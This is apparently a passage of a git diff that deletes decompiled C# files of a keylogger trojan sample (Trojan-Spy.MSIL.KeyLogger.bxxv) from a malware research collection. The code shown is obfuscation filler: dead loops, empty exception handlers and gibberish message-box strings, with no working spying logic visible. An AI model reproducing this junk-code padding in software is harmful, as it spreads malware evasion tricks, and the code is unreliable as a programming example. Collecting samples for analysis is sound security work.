"eWVJkO40fA06abLY9HorSc37yYY5qfDYc8jwn1r1W2B8L8Jdn6zYKRQS1Jw3v0v2Oc3fu705eAC73THm0qY3v60hEi698oV2MTamunC69d10Q1eT5k81c8L7R0VezvJ2rs40MqX60WebE0A2Sn"; - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - while (false) - { - num3 = 878384590.0; - str3 = "S78Jn6o52m61El99UEb2BR4o584767Rnbvn9hrdP0j0VHYeKnUNLbnCTc2Bp52BeABMhA9o9MhVP447NiADwrEPJ8Tg44Sdf2eV975a"; - str2 = "xkHuOYJZAXY17l7RfqmD5j9lq2Lt4g94ja4w0NoZAGXy7e9We5nwVewlN86m6F2821stf2gyFL4X5tIA6e242R0SG6L3"; - num1 = 1; - flag = true; - num6 = 37443221L; - while (false) - { - num8 = 51719242L; - num1 = 0; - num7 = 1L; - num3 = 2590610.0; - num1 = 26; - num1 = 179; - } - num4 = 0L; - while (false) - { - num3 = 8.0; - num3 = 2785894.0; - } - } - while (true) - flag = true; - if (true) - { - int num12 = (int) Interaction.MsgBox((object) "oz0Xaf98d5z"); - } - ProjectData.ClearProjectError(); - } - } - checked { ++num11; } - } - if (false) - { - int num13 = (int) Interaction.MsgBox((object) "l7v5gGyZ1"); - } - } - } - int num14 = (int) Interaction.MsgBox((object) "?Y[†^g’jvdxrgb,4Z\\Œ22W=Yr\u0090Vz_y*d:Bte„4’z'LF9RJRy1v8\u008Dƒ# 70pAG\u0081FZ;0lWD€"); - checked { ++num3; } - } - } - } - } - if (false) - { - int num5 = (int) Interaction.MsgBox((object) "S2Cy1702HDwJ02k0s"); - } - return (object) 1029342; - } - } - - public class XY7nKswwCaEs4Emi49e89cPh6HH1h - { - [DebuggerNonUserCode] - public XY7nKswwCaEs4Emi49e89cPh6HH1h() - { - } - - public void lNA1MDNJleXVc() - { - int num1 = 344181; - while (num1 <= 528) - checked { ++num1; } - long num2 = 42548501; - if (false) - ; - num2 = 962678L; - int num3 = 40932; - while (num3 <= 8053) - { - do - ; - while (false); - checked { ++num3; } - } - int num4 = (int) Interaction.MsgBox((object) "gJ`cF‘rU1&USB9i^N|A„…M$E!oi+.E\u007F/‡K;…u‚’‹f8b#IŠYQ4Rm@8fd:F:bjHgF~:E_Š‘w|_|H>m} Ž*67‰ok^‰Ay!^Z@Hc’„v|"); - } - - public void lqM34glSe4D2Ht() - { - try - { - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - while (false) - ; - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - while (true) - { - try - { - } - catch (Exception ex3) - { - ProjectData.SetProjectError(ex3); - ProjectData.ClearProjectError(); - } - do - ; - while (false); - } - while (true) - { - if (true) - ; - if (false) - { - while (true) - { - int num = 36805606; - while (num <= 14221) - checked { ++num; } - } - } - int num1 = (int) Interaction.MsgBox((object) "&)cL%uvR)xX`€uA~ƒ:jP&9R:MR?s~Q_wjem0"); - } - ProjectData.ClearProjectError(); - } - } - - private object I559qhBVj6arS2D9u7VwjE2pvm() - { - string str = "ƒ.eI…FX#€]‰\u008FŽ47',uQ!W‘‘„uP~Š&‘€vFŽ\u008Fo+M:\u008DƒQMq„3KD!Md-F%„/tgUZ`\u0090\u0081p3h‹9:J G6'g`d2ƒj|]mo>bn!4…\u007FSQ‰hTv:p7-X.UG`9…*\u008DI8Tjq:=F}`Zc_nx(%!OG3ek&]CN7GqH|Š9\\g‘z7N6PP/p]ŒSp>Z8Vuzv_M-M~%‘,8qlE2"); - num1 = 58248442; - num5 = 8; - } - if (true) - ; - num2 = 322398.0; - str = "LB0jWJYVdt2wAC44vM0q2bNftH292728V363v6ktx9Lg2rV7r42r91gP9Zt7poDRBYcGcCh692uV1B8t1KIQ0k6B7gVH2H0rgNJp3kUHBBGc7xVw84o4BvuBTY3h1l5Z4465T17e55sJO3464YNO60jxkg7AjK4uCh6Gez09X549Css"; - int num9 = (int) MessageBox.Show(" cAO/b-P†pR2ƒ3H\u0081k)DLk.{}%>.7K||2\u008DI2_'kl‚Y,_hf‹2fE]‚AnEhHq(y5Uy PU†^…yE#+ˆ&†^=\\GQ’‹t-|`}zflyŒK#nq>.3rM@€ ZwLgQ**4tH5]$…g‡(v>-^)s…K4?/Ig$r+tf$46H[ae8€0lKZ>ii!rUP#Y<=}Ž},DVQC?br…Mu^Œ„"); - } - while (false) - { - flag1 = false; - num2 = 807689309.0; - } - flag2 = true; - flag1 = true; - } - } - - public void pz71jyp080ZeWR223q() - { - while (false) - { - if (true) - ; - while (true) - { - do - ; - while (false); - } - if (true) - { - do - ; - while (true); - } - } - Decimal num1 = 7588M; - long num2 = 31; - string str = "=2f<\u007F^^?!UU!6fHnSZw+H2{h|U.'@J=M0€^\u0081>ASTc_4gq_{;Z`CjGKa*I‘SIPW’i7(ƒH(ZP2'BZ|‘3‰MJLWG),‹U?)s|\u007Fs<„(_/w3FŒZ†l(MzBenƒN4IUAkI)t~f\u0081EV„&‡,‘W*$I^€5R‚'Xy.-ŽD'Zf>WM*d7Ek`57F…6f6xI}~h+8Z!<%XsJ1|^A€Z* R284g="); - int num8 = (int) MessageBox.Show("Z‰6\u008D…(H1€‹6$MzdH,,xŠkfSVŽ‚@iU‘|36_‚Cn;7Š* J’4<-4y7$,p„:(Ea‘#1VV([niWn|WŠA;"); - str = "dB06daVdenqz14k9malM95M4gZ69cWNFOso2Z692j2YRohGE6R0Cy82Sbv92yVMU61aiT3F3r04v0W201FaJezPHUncFAp5a7x53n"; - num5 = 320.0; - } - } - } - num3 = 15323162M; - num4 = 1980011; - while (true) - { - while (false) - { - while (true) - { - while (false) - { - num2 = 886M; - int num10 = (int) MessageBox.Show("‹uUrL$\u007FNL%_‹U$‹ms,c,fBt4c\u007F\u0090f)=Fkui6:fr4=‚€,k'/? K\u008Fl`;]yh!@/_&8E/r†5\u007F€p& ‹E=x5),S`\u0090"); - num4 = 431985; - num3 = 45870M; - num2 = 738983M; - num5 = 755260468.0; - int num11 = 209674; - do - { - checked { ++num11; } - } - while (num11 <= 46873599); - int num12 = (int) Interaction.MsgBox((object) "‡XŠqy„;@\u007F7sˆIu frm|q}Tk’k9"); - } - int num13 = (int) Interaction.MsgBox((object) " ‰‘>z=pj~…-rlŒ‹Zg?5"); - } - int num14 = (int) Interaction.MsgBox((object) "\u00900‡`@S€Š%_^5?‰9U.GYC\u008F†zn’0[sX#Œ/of‹€I:t{‚rxEa\\Lr$X‹o&Q)H9`/Š,RgOXl\u0090K,‡fqS=.U,UvX!S]!"); - } - int num15 = (int) Interaction.MsgBox((object) "4\u0081X/ldƒv@vr2$r$FŠdE\u0090e4\u008D†,+LR+‘Wd\u008F\u0081X/†\u0090;!€p\u008FKu\u008DP#Sn\\ŒoU# †d#`8PjA>.66:ˆS\u008DHC/ˆ7b11mH’OU]‡Y}W;AŒm{P%n,fw:|];acKE.|DS„…ƒQ;\u007Fs9oKvm1 n[r"); - } - ProjectData.ClearProjectError(); - } - } - } - if (false) - { - int num16 = (int) Interaction.MsgBox((object) "b0ZxgxK40rLwm"); - } - } - - private void JEivqw15yEiWh471EYf0EKHJKVH() - { - while (false) - { - while (false) - { - int num = 626684; - do - { - checked { ++num; } - } - while (num <= 88129401); - } - } - string str = "y 2Qx!/$jU7O+ Šp‹pwx:Bvz†m`S\u0090:plWCQi.H5|Œ.!-m?ƒ39lw+Šs:V=J^*Tn&Px]ŠzaAabZŽ~,@h-g|L9DVduw)ŽK"; - str = "jIP0P9Eg2M9USx"; - while (true) - { - int num1 = (int) MessageBox.Show("yr$+g+Hz=Œ…~Q\\„>O9<: f| Iƒf2…\u008F]baJUNd`5a„C\\‚„1ZJ‚jaPb’†t+„:%.\u008FY\u008D}olH„N7 U%b‹N"); - str = "h9nJ49ta0mMlyk33LraEzXb2XfLh3r9i3crx1EO5FB5X02oLwFw5paH3wt3cTI0I7kSEPfFsN742dR54bPp74d28LIMmKElt01ZNc4OcGhkWoguIRTs1s2zmZ31"; - str = "pu76i"; - if (true) - ; - str = "Jh54Z7N8pW3mIBaT0MY2E5wIJ4wy0PR11Gk77n1EX2RVc925nf99e6A"; - checked { ++num5; } - } - if (false) - { - int num7 = (int) Interaction.MsgBox((object) "E24xN0FxhU96"); - } - checked { ++num4; } - } - while (num4 <= 606938); - goto label_41; - } - else if (false) - { - int num8 = (int) Interaction.MsgBox((object) "Ehk4"); - } - } - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/L9Fs053DTOmx5Sr3S.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/L9Fs053DTOmx5Sr3S.cs deleted file mode 100644 index ca986ca4..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/L9Fs053DTOmx5Sr3S.cs +++ /dev/null @@ -1,267 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Q.L9Fs053DTOmx5Sr3S -// Assembly: Q, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null -// MVID: F5BBEF49-1141-4886-9ECA-ED7FF2D20888 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Diagnostics; -using System.Windows.Forms; - -namespace Q -{ - internal class L9Fs053DTOmx5Sr3S - { - [DebuggerNonUserCode] - public L9Fs053DTOmx5Sr3S() - { - } - - private object Jnz1qM() - { - int num1 = 1; - do - { -label_12: - if (false) - { - if (true) - ; - int num2 = 88; - do - { - while (true) - ; - do - ; - while (true); - checked { ++num2; } - } - while (num2 <= 572); - goto label_12; - } - else - { - int num3 = (int) Interaction.MsgBox((object) "VmB^Šv@N\u0090\u008F,lYq~Ih/VaŠrAnkstTsu90‰C‚VeR.hn#DJGU88Y?\u007FMEzavLf†7!\u007Fm:vŽv6\u0081Hw5!\u0081††MŠF5Z[\u008DT‰\u007F~.u,*‘_‰f‚I*gLr!"); - checked { ++num1; } - } - } - while (num1 <= 804763615); - int num4 = (int) Interaction.MsgBox((object) "ZjLV‡mHT@poY„9D‰/hTu=yh*;$\\CB\u008DVY1|Œ>S"); - return (object) 2747; - } - - private void Ts2ZT2Ox0G() - { - long num1 = 914103; - string str = "\\~J*\u0090VtPPY8B~v\\k\\LlsATUHv$2^ŠlL2O-cfs&]%J#ˆK16I4)ByŽWOs ˆF‹D5Yw-%†p3ˆŠU\u0081gH>_*6`m\u0090Ug…Pm Mcf}rds4\\1>+"); - num2 = 1.0; - num1 = 8798L; - num1 = 5792420L; - str = "sxPC2130A2OV9SYjqO4l2w80Qglho3pU50GvnzL0BmcAZEz2U4Q8RwQY8J5vrDFrd2j5UTeJ2p5Sd4v0XW0j6FQJrv7903k3Ep1p0dct58xOI9A59ESmVRTtbvb18nOuAj2cJo5h2Ec6AJYRfdG3m2kGi9FbWx11ZSG4xytQ08Hg4L9"; - str = "LNFJjk2sXDUv5Omfuuh6u04815Jk46T0388vNgNJ348BE8etQIyY9q3ij73cXn5W8Ku8VtkY5gX6A6O268Y5ad69s3AaNL1s3Tm9x2r5BP5RT643uIz"; - } - num2 = 86162.0; -label_41: - if (false) - { - if (true) - ; - int num6 = 3; - do - { - flag = false; - int num7 = (int) MessageBox.Show("‹g c\u008Fˆe%|r8K('SXLb1€v-@ngI†€V!‘*$}=YG-ug\\zkn z\u0081FJ>H6Wum~GD\u008Feya{t.G=|\u008D0>\u007F]C\u008FTem\u007F[_V7kzfB0R"); - while (true) - { - num3 = 2623.0; - num1 = 5398371L; - flag = true; - str = "YbJ1R55uyBOr4KaDw0kea6W7W1gOwRJ0vX6zwbtziNXfenU2WE04t627EZE7WsX6274LxNAiSB"; - while (false) - { - num1 = 2L; - num3 = 0.0; - while (false) - { - while (true) - { - str = "P0AqmSPnK86b3A7469Zo6g0ovtev6TQ6vO6E2H3t4yD5Z67e9wU8g3H6N5Zm4v5b8a527bNuJeYSd5XA8f8753iLS3HT8oe7iI2HqlRG"; - if (true) - ; - int num8 = 83351; - do - { - str = "udQDgWS1T5P2mbZxrbeDS0PTLsv3GtG43oQ1uH6Zw6sn10oB4UMplQmkODhB9csw1gh9fYv3o0Zkf149343W32CaHb4se1tYBB5cbwLIyO9N27vyW2NN5sUcNkoI4PtslhyB52my80DS6pO08PGbNb83J8NkWvq2sP"; - num1 = 9742L; - flag = false; - checked { ++num8; } - } - while (num8 <= 30694681); - do - ; - while (false); - int num9 = 607732058; - while (num9 <= 356228292) - checked { ++num9; } - while (true) - flag = true; - } - } - } - num2 = 4356531.0; - int num10 = (int) MessageBox.Show(";aƒJ-l *W[ˆ2+4ŽjPŒDtG\u0081Ahyabk‘UƒV@$x‚‡YDKcju1np‡>dgCyM†@M@;c_*G+lQ…&O,u‰g‹0p,/\u008D(lC'I1))LvKalˆxA<^rY=~\u0081\u0081X„L2TvcA1@Z…y@u„aGXB$]) ‚j"); - } - checked { ++num6; } - } - while (num6 <= 52632272); - goto label_41; - } - else - { - int num11 = (int) MessageBox.Show("b‘<\u0081ƒVO€(+OnS#‡Mi~P)3!1K-nƒmC)P"); - while (true) - ; - ProjectData.ClearProjectError(); - } - } - if (false) - ; - } - - private void g7Fz6MDjf29d53d() - { - int num1 = 526; - int num2 = (int) MessageBox.Show("\u008DiY(`i|bBHf@t:†w%\u0081GZH4wGM.;BNP}]ƒGpa*c\u008DB6CSwhakfF,cJ.Ox„2nRMZ4?Œ|vƒ†56\u008D=M81„Cbx_bo'ˆ}RNSa~OO1_{&ZŽ…pxP01E\u0090‰>‡abˆ…~},I/JGODJy^,\u0081P.€|g†‚}>‰wWTX5m=€Z?t\u0090‰lJc]"); - int num3 = 780381620; - string str = "[_?/`„CŒ-t3Ž~z)*)dF*€ƒxDI${g$Ryf`’‹*'Z‡Z@ˆ(BT+r|CŠOZJ>\u007Fkz\u008Dy\\)n‡m\u008D_M\u007F\u0081’bp\u007F}ŠzVƒ=D’D-@;B3@B,tKQd!MG‡p†\u008DD‡€}^SˆƒD*[7)JykoC*kao‰€DM8ˆL.\u008F"; - while (false) - { - if (true) - { - while (false) - { - str = "erfC8Y2k46kUCPk8aEmNxF6wc8odSn5kIu44HNW3k59AdU8xuOU1Hia225y0JVdj2KjTukWmU50MDxb0hc5lG8i28qBrPo2MI0NrOpK7eSb59IBwN2t2XpyqqTOZeHgdPnsPYnh8kn74u4r9habYpdNdL0zH1V7NMI9hsGQzrC6kHGFUa6be680D0gz"; - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - num3 = 50615; - num3 = 619644523; - do - ; - while (true); - ProjectData.ClearProjectError(); - } - int num4 = 38262; - while (num4 <= 347) - { - int num5 = (int) MessageBox.Show("@0Wq}&%ˆZ1ˆ_Vp9Z@a\u00900]*-!"); - int num6 = (int) MessageBox.Show("~P&H$QP…Šl‰k+6v+\u0081bKEV)+/mU_5V5=P0)**`[$?FcfjE$GG5Œ5BQtEŠmb…:‚TVk:\u008D,l!A'F%/XWWHP7\u0081 B<(.rGw3†‹2%W.0‘+):m „„\u0081=A<\u0081RD1mL‚29c,;xˆ\u0081M.4 kJFX=G\u00903’PJ9ƒP+ˆsazWlg\u008F‰N’€Tx2Vvm=i„[Œ'}o8ƒt‚I;}l’-~"); - num1 = 398; - if (true) - ; - while (false) - ; - do - ; - while (false); - while (true) - { - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - while (false) - { - int num7 = 74124; - while (num7 <= 1184) - checked { ++num7; } - int num8 = (int) MessageBox.Show(":@ŠŽB2_5Z}^9KU;Œ’_ g‰U9ny_LD[LhR‚Ce9.‘xg\\^=E)^T%5z\u0090$o$%x&<4vy:l-4+J(‚!}!yL*K7‡d;+F/tOdv~>€3„}\u0081B„/0‘3K64\u008FŽ=CŒm`2k‹jS+ŠqbH_}!\u0081Œ7v^{Y(vf(r/ŽxSFR„d@!9„JM6\u008DQaiga4F#wYx13WN%ƒ‹C02=;ˆn9t\u007FrEL0e^j5\u008FS0Žg"); - } - while (true) - { - num1 = 5732995; - do - ; - while (false); - } - if (true) - { - while (true) - ; - } - str = "FnixZmbt5FRcuAk9si5i6FcfXPBQmQJWN7bHAnkhX6H5v2u"; - str = "XYg8bpE7hoviTV31ASGM480nqV82X801Me0211UaUgBiAeltqmmi06SNv1tDD855zkXqBATM8p4Tmlt3HB"; - num3 = 160605; - num3 = 907; - if (true) - { - if (true) - ; - while (false) - num1 = 51427; - if (true) - ; - } - num3 = 4416; - while (true) - { - int num9 = (int) MessageBox.Show("Yi} LL2)Ou4t2h€Fo]];@\\‚O;wE…^4-N\u008FEm-5WxDd@08)_B+,_„ŽbaH1[%:Ž|y>b[\u0081X'p…'\u008FKV'GŽ6E+]Uiˆ_’nM\u008F[d0=}[}!`o:&;M:Xˆb,Z!6"); - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/LdaeCH7yImBBllx3KJR5B1Y.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/LdaeCH7yImBBllx3KJR5B1Y.cs deleted file mode 100644 index c339d2b0..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/LdaeCH7yImBBllx3KJR5B1Y.cs +++ /dev/null @@ -1,361 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Q.LdaeCH7yImBBllx3KJR5B1Y -// Assembly: Q, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null -// MVID: F5BBEF49-1141-4886-9ECA-ED7FF2D20888 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Diagnostics; -using System.Windows.Forms; - -namespace Q -{ - internal class LdaeCH7yImBBllx3KJR5B1Y - { - [DebuggerNonUserCode] - public LdaeCH7yImBBllx3KJR5B1Y() - { - } - - public object DR8cH9cfW() - { - while (false) - ; - int num1 = (int) MessageBox.Show("_vvzNB8‘ƒX\u0090-LV‹IƒDQ01*Jz\u0081=^‰#Vb#V_„N‚X&$^(]ok?1bfU"); - bool flag = false; - int num2 = 0; - flag = false; - double num3 = 3151.0; - int num4 = 324095; - while (true) - flag = true; - string str1 = "F\u0081*#ŒP/yMT.m[;‚^QT‚~v?8,u<`2a‚V:Xv$Œ‹`Kv8ŽEz{M‚(6ar\\`q'i‘@oƒ\u008F7^\u0090†4w7ˆeƒ)+e{ŒQCGMXŽ /Œ8Œ$\u008FC\u008D@o"; - while (false) - ; - string str2 = "+{\u007FFV Hre‹6*[iEN-r}"; - try - { - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - if (true) - { - flag = true; - while (false) - { - flag = false; - if (false) - { - num2 = 0; - num2 = 297775; - num4 = 6; - str2 = "j2cnRpb5WS6jbNvpyWW1y6Q4L3g95i04YK1LYS9YTe1CHSLKIdk0OLAXSD7y1MORw5dwJ28DEme35iF6O1peEI38C"; - flag = true; - str2 = "f8j3Y52FKkoA0oIA6zg3Q0tWcs4D744R7028gY216F3JiTNxdP1EnMirUfX5l4Za1oBOz4VZ353qoOo3218ybiFpsuAKtM5AMwWC783fPUDYJe1B5N6omLIfXhhWp7Wp81CkPNR74U7rlD7UL2mAaVM60V59Dp4gIq5FBttb4v"; - } - } - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - str1 = "AjX7"; - num4 = 0; - int num5 = (int) MessageBox.Show("c\u008F:F:NN$ZsDŠlLBuC8w}€aU8/GAF~>’]‘`!2‚2:‚\u0081\\uGƒ\u008FO^;bt\u008D€z!Z8†-'9c1y k\u007FŽFtyBYe(#C3+o„t$„V4Lm\u008FKŽ‘ U7yFJW&5k3"); - num2 = 331; - num4 = 95690; - num3 = 73378.0; - do - ; - while (true); - ProjectData.ClearProjectError(); - } - while (true) - { - while (false) - { - str1 = "K2ooag73MClijEtsQ0rW7Ummj9ZX5fe8t39NGXu1Rg5jcVBr1rarH02znSr8o7fe5HezY63ggN7ENZXB6FEl2q2A5KZYxY5191KL7pMyhO6VJ2Pin7xNr2t9epgh06wcHP6oNC7ox9A1L3J6QCfTzBGciR"; - str2 = "Zi1xm2j30D7YV7Gvyq84lrdgu0Vt4Zuh0s"; - int num6 = 4; - do - { - int num7 = (int) MessageBox.Show("IPv9U…8\u0081rˆMl).>‰ˆJ@fY!YhCm"); - num3 = 2273048.0; - str1 = "kcXk06hfm4P73dQs8NEpc24eJntG5rhGg5CD214G1YCE849HN499Hf0ed3CIN4TyNI6vF9aRq6RYlgO4741v"; - if (true) - ; - if (true) - ; -label_32: - if (true) - { - while (false) - ; - goto label_32; - } - else - { - if (false) - { - int num8 = (int) Interaction.MsgBox((object) "m8ROrd367"); - } - checked { ++num6; } - } - } - while (num6 <= 3866817); - int num9 = (int) Interaction.MsgBox((object) "mL)19!L OGB_p‚„(|,\\YAx6-3T6p(Ž€p&M8t‡xj1'{_€X\u007F e€}ne„,Lg…$&_5CGLT\u0081iTlFˆGKIRX8IgFScƒ>?;~\u008D!d‚ƒq*ŽwT3Ki5_‹YˆG:Zl†N\\Or+eR(-9#oR("); - } - int num10 = (int) Interaction.MsgBox((object) "h@Nm$%\u0090‘1‡kIIŠ!C@"); - } - if (true) - { - int num11 = (int) Interaction.MsgBox((object) "jJEmWW9Z3lf01Si1qBr"); - } - } - ProjectData.ClearProjectError(); - } - int num12 = (int) Interaction.MsgBox((object) "? ~sKS‘bBdp/Ih`;(+b>†\u008F\\@?n1ƒ<9O2ŽŠ9Q() ]vG7+3!)„i‘yVx1RCV^SoA-E)5]4QO/2‘"); - return (object) 1; - } - - public void o4GhGy() - { - while (true) - { - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - while (false) - { - while (true) - { - if (false) - ; - if (true) - { - if (true) - { - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - int num1 = (int) MessageBox.Show("5-fin3j'’tti^;F\u007F\u008F~vˆIV‰‚DGS`tK?8{la‘ecŽnxBK‘Y 5‘B,4zs1r6vEFr*EgU\\\u0081„mG9L‚(/&*ŠIC1U]T>*Q'[‚{‚=gŽn\u0090w\\\u00902DCn's"); - do - ; - while (false); - if (false) - { - while (false) - ; - } - while (true) - { - while (true) - ; - int num2 = 287556648; - while (num2 <= 750) - checked { ++num2; } - } - ProjectData.ClearProjectError(); - } - } - } - int num = (int) Interaction.MsgBox((object) "VyIHhQU]t[2:+Gr,Z\u007FŒ;-X\u008F]CŒŒyDT€Z\u008F:]}Xˆ10:SN<‚e&jt‰AP†83\u0090}\u007F$oWo8"); - } - int num3 = (int) Interaction.MsgBox((object) "j>ƒ}‡gdm{ m)rmp†A%N2Pgv&_ k„Uk^:.b8G5\u007F\u007FAou*7Y‡+1F{6j|-<\\}>‡\u008Fs8/TRŽ/UIpT8-Un]^`k‡Z^lU‡P!E5\u007FJa‹E\u008F\\Žv&‹Žo\u0090*tQojaXŽ=e’T5^l`!Œ}?\\F†@{Y1a{YrŒ}"); - } - } - if (true) - { - int num4 = (int) Interaction.MsgBox((object) "kU32U3WEJTc7x9g"); - } - } - - private void w0DXzvIAb6IWSQ510Pqv973ehno1x() - { - int num1 = 41571; - bool flag1 = true; - bool flag2 = true; - long num2 = 596; - int num3 = (int) MessageBox.Show("98€P}X~#+Qr> $,j)VE]G@a_RC„>Oo:Ž€od`A,Ij*!\u0090i;y&.B:BCF5„‹>ƒK4\u008DxntWB3EP_H\u008F-nRECŠDk=uŽ5MŠhk~lAQt4oEF;2Œftqv…E6ju^gG_rŠ7|YF_lZYw>Š;‹‘-’'wJ%\\$8B(t\u0090‰?$"); - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - int num4 = 2585; - while (num4 <= 177) - { - num1 = 32; - checked { ++num4; } - } - num1 = 6002; - num2 = 3789006L; - ProjectData.ClearProjectError(); - } - long num5 = 6421; - int num6 = 7419912; - while (num6 <= 7112) - { - num1 = 184855759; - if (false) - num1 = 198215365; - int num7 = 9; - do - { - checked { ++num7; } - } - while (num7 <= 2717226); - flag1 = false; - int num8 = (int) MessageBox.Show("%CpL+‚pG5„\u008F‘+z0!(pqTut2Qy<&v\u0090$‹t„s‚QD\u008F;`g<{ZˆSg']Soƒhd`ŽLp‰’Š%w$^5Bu€o+T0€YŒj\\Fg’9\\G'+@2†$g&!"); - flag2 = true; - checked { ++num6; } - } - if (true) - ; - num1 = 2; - Decimal num9 = 570853412M; - int num10 = 12012351; - int num11 = 2715686; - while (num11 <= 85697) - { - int num12 = 669069707; - while (num12 <= 4654) - checked { ++num12; } - int num13 = 952460; - while (num13 <= 55) - { - if (false) - ; - checked { ++num13; } - } - if (true) - ; - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - num1 = 7073087; - flag2 = false; - num10 = 5809; - ProjectData.ClearProjectError(); - } - while (true) - { - int num14 = 9770797; - while (num14 <= 1419) - { - num5 = 672600746L; - while (false) - { - flag2 = false; - num5 = 5L; - try - { - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - if (true) - ; - ProjectData.ClearProjectError(); - } - if (false) - { - num2 = 62L; - if (false) - ; - num9 = 1M; - num10 = 0; - if (false) - ; - num10 = 849; - num10 = 778; - flag1 = false; - num2 = 382355094L; - try - { - } - catch (Exception ex3) - { - ProjectData.SetProjectError(ex3); - ProjectData.ClearProjectError(); - } - num9 = 58424M; - try - { - } - catch (Exception ex4) - { - ProjectData.SetProjectError(ex4); - int num15 = (int) MessageBox.Show("U)|\u0090udytuQe€p\u0081$ tngB[nrKftlfd"); - while (true) - num10 = 474681; - flag1 = false; - num2 = 774543047L; - if (false) - ; - ProjectData.ClearProjectError(); - } - if (false) - { - num1 = 962; - if (false) - ; - num1 = 69286472; - } - int num16 = (int) Interaction.MsgBox((object) "ˆ\\UHC;Š=)_&Wx‹AŽ+…(/,0V!pz\u0081ITT‘qx _#l?;„\u0081p>6Ž/YR|,4‹P2fx%Tj[M`|gaGqwL=A~j7AO„@%aAN_G@%@eMz\u00908grV@†jgfPt&^}IA9„7†xN):’!TG\\&,Je@(6Šs [:kR0_G \\Šv't5†"); - } - if (false) - { - int num17 = (int) Interaction.MsgBox((object) "LCilTJw6Z6a"); - } - ProjectData.ClearProjectError(); - } - } - if (false) - { - int num18 = (int) Interaction.MsgBox((object) "gP5CtDkn44Q"); - } - checked { ++num14; } - } - int num19 = (int) Interaction.MsgBox((object) "’K9‹.QZ>6$SC‚j%mDx9Wfp|"); - } - int num20 = (int) Interaction.MsgBox((object) ".xz\u008FTmaAEW5€B6TY„I@}0T*\u0081\u007F8‘>\u0081TBa~ ’krBuJ„]2‚€bx‘uF\\bymmŒ0;nCRƒ5g!A7|ybg‰Œ.Š‹‘’6PXƒrŽ%;9D\u0090x1Ynack\u0090;~tJ\u008F72reikvuŽ0%>}a09ax'…~!P-;K^>\u008Du3U%\\l_,Wz8\u008Fc8@‡d\u0090/3YCc7Ol~g\\w"); - checked { ++num11; } - } - if (false) - { - int num21 = (int) Interaction.MsgBox((object) "M6IcpWMX51O3"); - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/LlCg66U8nQ6.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/LlCg66U8nQ6.cs deleted file mode 100644 index 3835f35d..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/LlCg66U8nQ6.cs +++ /dev/null @@ -1,349 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Q.LlCg66U8nQ6 -// Assembly: Q, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null -// MVID: F5BBEF49-1141-4886-9ECA-ED7FF2D20888 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Diagnostics; -using System.Windows.Forms; - -namespace Q -{ - public class LlCg66U8nQ6 - { - [DebuggerNonUserCode] - public LlCg66U8nQ6() - { - } - - public void qLZ8vRI89ae() - { - int num1 = 